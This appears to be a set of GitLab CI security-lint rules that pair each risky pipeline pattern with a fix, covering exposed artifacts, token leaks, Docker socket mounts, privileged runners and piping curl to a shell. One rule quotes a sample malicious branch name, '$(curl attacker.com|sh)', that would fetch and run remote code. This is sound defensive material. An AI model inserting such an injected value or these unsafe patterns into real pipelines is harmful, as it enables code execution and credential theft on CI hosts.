rules-gitlab-ci

Potentially unsafe pattern detected in gitlab-ci code: "tags:". Review the use case — this may indicate a security risk, a deprecated API, or a misconfiguration. Confirm the write is intentional.

You are using an outdated API for gitlab-ci. Please upgrade to the newer API.

RISK: Setting allow_failure: true on a security scanning job means pipeline vulnerabilities never block a merge — SAST/DAST findings are silently ignored. FIX: Remove allow_failure: true from security jobs, or use rules: with a severity threshold to block only critical/high findings.

RISK: Archiving the entire workspace (paths: - .) as a CI artifact exposes .env files, credential files, and private keys to anyone who can download job artifacts (all project members by default). FIX: Explicitly list only the build outputs you need (e.g., paths: [dist/, build/]) and never archive the root workspace.

RISK: Passing CI_JOB_TOKEN in Authorization headers over plain HTTP or to third-party services leaks a token with access to all projects the CI runner can access. FIX: Use CI_JOB_TOKEN only over HTTPS with GitLab's own API; for cross-project access prefer deploy tokens or project-scoped access tokens.

RISK: Mounting /var/run/docker.sock inside a job container gives it root-equivalent control of the host — any attacker who can write to this job can pivot to the host and all other containers. FIX: Use Docker-in-Docker with TLS (DOCKER_TLS_CERTDIR=/certs) or kaniko for image builds without socket access.

RISK: Embedding Git commit messages, branch names, or MR titles directly into script: steps is a command injection vector — an attacker crafts a branch name like '$(curl attacker.com|sh)' to execute arbitrary code in CI. FIX: Assign the value to an environment variable (VAR: $CI_COMMIT_MESSAGE) and reference $VAR in script steps; GitLab then passes it as a safe string, not a shell expansion.

RISK: Hardcoded credentials in .gitlab-ci.yml are stored in plaintext in Git history and visible to all project members with Reporter+ access. FIX: Store secrets in CI/CD Variables (Settings > CI/CD > Variables) and reference them as $MY_SECRET.

RISK: Including CI configuration from arbitrary remote HTTP(S) URLs means your entire pipeline can be hijacked if that URL is compromised or taken over. FIX: Use include:project to reference files within your GitLab group, or pin remote includes to a specific SHA-tagged URL and validate with include:rules conditions.

RISK: Privileged runner containers share the host kernel and can escape to the host via Docker socket or cgroups abuse — full host compromise from a single malicious job. FIX: Remove privileged: true; use kaniko for container builds or restrict privileged jobs to isolated, ephemeral runner machines.

RISK: Piping curl/wget output directly to a shell interpreter in CI executes unverified remote code — supply chain attack surface (see SolarWinds-style compromises). FIX: Download to a file first, verify the checksum against a pinned value, then execute.